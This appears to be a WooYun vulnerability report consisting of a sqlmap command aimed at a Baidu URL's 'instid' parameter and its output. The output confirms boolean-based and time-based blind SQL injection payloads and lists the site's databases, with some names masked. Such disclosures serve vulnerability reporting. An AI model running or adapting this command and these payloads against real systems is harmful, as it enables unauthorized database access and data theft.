WooYun.org

python sqlmap.py -u "http://guang.baidu.com/g/getinst?intPage=0&instid=5" -p instid --prefix "'" --suffix "limit 0,1#" --string "v2ex.com"  --dbms=mysql --cookie "cookie" --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:06:06
[22:06:11] [INFO] testing connection to the target URL
[22:06:12] [INFO] testing if the provided string is within the target URL page content
[22:06:12] [WARNING] you provided 'v2ex.com' as the string to match, but such a string is not within the target URL raw response, sqlmap will carry on anyway
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: instid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: intPage=0&instid=5' AND 7341=7341 limit 0,1#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: intPage=0&instid=5' AND SLEEP(5) limit 0,1#
---

available databases [5]:
[*] Dr*****
[*] Dr*****
[*] Dr*****
[*] Dr*****
[*] information_schema